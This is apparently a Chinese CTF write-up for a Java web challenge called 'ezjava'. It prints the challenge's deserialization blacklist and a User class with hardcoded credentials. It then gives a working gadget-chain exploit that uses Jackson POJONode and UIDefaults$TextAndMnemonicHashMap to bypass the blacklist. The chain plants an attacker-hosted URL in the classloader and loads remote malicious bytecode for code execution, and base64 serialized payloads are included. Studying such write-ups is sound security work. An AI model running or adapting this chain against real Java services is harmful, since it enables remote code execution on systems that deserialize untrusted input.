Web ezjava ycbjava.zip
ycbjava.jar
题目给了一个类,里面提示了用户的账户名和密码,可以直接登录进去
接着给了一个反序列化接口,但是过滤了一些类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package com.example.ycbjava.utils;import java.io.IOException;import java.io.InputStream;import java.io.InvalidClassException;import java.io.ObjectInputStream;import java.io.ObjectStreamClass;public class MyObjectInputStream extends ObjectInputStream { private static final String[] blacklist = new String []{"java.lang.Runtime" , "java.lang.ProcessBuilder" , "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" , "java.security.SignedObject" , "com.sun.jndi.ldap.LdapAttribute" , "org.apache.commons.beanutils" , "org.apache.commons.collections" , "javax.management.BadAttributeValueExpException" , "com.sun.org.apache.xpath.internal.objects.XString" }; public MyObjectInputStream (InputStream inputStream) throws IOException { super (inputStream); } protected Class resolveClass (ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); String[] var3 = blacklist; String[] var4 = var3; int var5 = var3.length; for (int var6 = 0 ; var6 < var5; ++var6) { String forbiddenPackage = var4[var6]; if (className.startsWith(forbiddenPackage)) { throw new InvalidClassException ("Unauthorized deserialization attempt" , className); } } return super .resolveClass(desc); } }
1 2 3 4 5 6 7 8 9 java.lang.Runtime; java.lang.ProcessBuilder; com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; java.security.SignedObject; com.sun.jndi.ldap.LdapAttribute; org.apache.commons.beanutils.; org.apache.commons.collections.; javax.management.BadAttributeValueExpException; com.sun.org.apache.xpath.internal.objects.XString;
这里很明显是要我们触发User的getGift,然后添加远程或者本地类路径进行类加载rce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package com.example.ycbjava.bean;import java.io.Serializable;import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;public class User implements Serializable { public String username = "admin" ; public String password = "admin888" ; public String gift; public User () { } public String getGift () { String gift = this .username; gift = gift.trim(); gift = gift.toLowerCase(); if (gift.startsWith("http" ) || gift.startsWith("file" )) { gift = "nonono" ; } try { URL url1 = new URL (gift); Class URLclass = Class.forName("java.net.URLClassLoader" ); Method add = URLclass.getDeclaredMethod("addURL" , URL.class); add.setAccessible(true ); URLClassLoader classloader = (URLClassLoader)ClassLoader.getSystemClassLoader(); add.invoke(classloader, url1); } catch (Exception var6) { var6.printStackTrace(); } return gift; } public void setGift (String gift) { this .gift = gift; } public User (String username, String password) { this .username = username; this .password = password; } public String getUsername () { return this .username; } public void setUsername (String username) { this .username = username; } public String getPassword () { return this .password; } public void setPassword (String password) { this .password = password; } }
黑名单过滤了cb可以直接使用jackson绕过,黑名单过滤了BadAttributeValueExpException可以使用UIDefaults$TextAndMnemonicHashMap绕过,详细可以参考
https://www.aiwin.fun/index.php/archives/4420/ 这个文章,接着构造出利用链如下,因为这道题是可以出网的,所以直接打远程类加载,方便一些
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import com.example.ycbjava.bean.User;import com.fasterxml.jackson.databind.node.POJONode;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import sun.reflect.ReflectionFactory;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class jack { public static void main (String[] args) throws Exception { User user = new User ("url:http://xxx:8000/" ,"pysnow" ); POJONode jsonNodes = new POJONode (user); Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap" ); Map map1= (HashMap) createWithoutConstructor(innerClass); Map map2= (HashMap) createWithoutConstructor(innerClass); map1.put(jsonNodes,"222" ); map2.put(jsonNodes,"111" ); Field field=HashMap.class.getDeclaredField("loadFactor" ); field.setAccessible(true ); field.set(map1,1 ); Field field1=HashMap.class.getDeclaredField("loadFactor" ); field1.setAccessible(true ); field1.set(map2,1 ); Hashtable hashtable=new Hashtable (); hashtable.put(map1,1 ); hashtable.put(map2,1 ); map1.put(jsonNodes, null ); map2.put(jsonNodes, null ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (barr); objectOutputStream.writeObject(hashtable); Base64Encode(barr); } private static void Base64Encode (ByteArrayOutputStream bs) { byte [] encode = Base64.getEncoder().encode(bs.toByteArray()); String s = new String (encode); System.out.println(s); } public static <T> Object createWithoutConstructor (Class classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithoutConstructor(classToInstantiate, Object.class, new Class [0 ], new Object [0 ]); } public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true ); return (T)sc.newInstance(consArgs); } }
这里的getGift方法里面需要绕过一下URL前缀检测,直接在前面加一个url:
头就行,这个可以自己跟进一下URL对象的构造方法就知道了
接着就是构造一个恶意class类
rO0ABXNyAAZweXNub3cv4Bi05zgUVwIAAHhw
然后开始题目复现
打反序列化将我们的vps路径打进类路径
开启vps监听并将恶意字节码传到vps上
发送一个类名的pysnow的序列化流触发远程类加载
ser=rO0ABXNyAAZweXNub3cv4Bi05zgUVwIAAHhw